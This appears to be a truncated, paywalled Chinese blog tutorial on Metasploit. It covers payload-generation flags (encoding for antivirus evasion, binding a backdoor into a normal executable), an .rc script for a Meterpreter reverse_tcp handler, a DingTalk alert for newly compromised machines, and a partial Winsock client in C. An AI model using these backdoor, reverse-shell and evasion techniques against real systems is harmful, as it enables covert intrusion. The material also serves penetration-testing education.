一.payload生成
msf:
- –p (- -payload-options)
添加载荷payload。 - –l
查看所有payload encoder nops。 - –f (- -help-formats)
输出文件格式。 - –e
编码免杀。 - –a (- -platform – -help-platforms)
选择架构平台
x86 | x64 | x86_64 - –o
文件输出。 - –s
生成payload的最大长度,就是文件大小。 - –b
避免使用的字符 例如:不使用 ‘\0f’。 - –i
编码次数。 - –c
添加自己的shellcode。 - –x | -k
捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。推荐用back door factory工具,但最好会汇编
msf可以写自动化脚本.rc,类似.bat和.sh,把想执行的任务写完,通过钉钉推送机器上线的信息
msf:
用法: msf -r xxx.rc
dingding.rc:
load session_notifier
set_session_dingtalk_webhook https://oapi.dingtalk.com/robot/send?
access_token=xxx
start_session_notifier
test.rc
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.xxx.xxx
exploit
二.shellcode的基本原理-socket编程
C:
#include <WinSock2.h>
#include <stdio.h>
#include <tchar.h>
#include <string.h>
#define SERVER_PORT 3333 //服务器端口号
#define BUFF_SIZE 1024
#pragma comment(lib, "WS2_32.lib")
int _tmain(int argc, _TCHAR* argv[])
{
//加载套接字库
WORD wVersionRequested;
WSAData wsaData;
int err;
printf("This is a Client side application!\n");
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if(err != 0) {
//Tell the user that we could not find a usable WinSock Dll.
printf("WSAStartup() called failed!\n");
return -1;
} else {
printf("WSAStartup called successful!\n");
}
if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
//Tell the user that we could not find a usable WinSock Dll.
WSACleanup();
return -1;
}
//The WinSock Dll is acceptable. Proceed
//创建套接字
SOCKET sockClient = socket(AF_INET, SOCK_STREAM, 0);
if(sockClient == INVALID_SOCKET) {
printf("socket() called failed!, error code is %d\n",WSAGetLastError());
return -1;
} else {
printf("socket() called successful!\n");
}
//需要连接的服务端套接字结构信息
SOCKADDR_IN addrServer;
//设定服务器IP
addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.199.129");
addrServer.sin_family = AF_INET;
//设定服务器的端口号(使用网络字节序)
addrServer.sin_port = htons

本文深入探讨了渗透测试工具Metasploit的使用,包括payload生成、自动化脚本编写以及利用Dingding推送信息。同时,解释了shellcode的工作原理,并给出了C和Python的实现示例。接着,介绍了shellcode的多种加载方式,以及杀毒软件的基本原理和查杀策略。最后,讨论了如何在Metasploit中使用HTTPS监听和ngrok进行隐蔽通信,并阐述了如何在Meterpreter与CS之间转换payload以规避检测。
最低0.47元/天 解锁文章
1777

被折叠的 条评论
为什么被折叠?



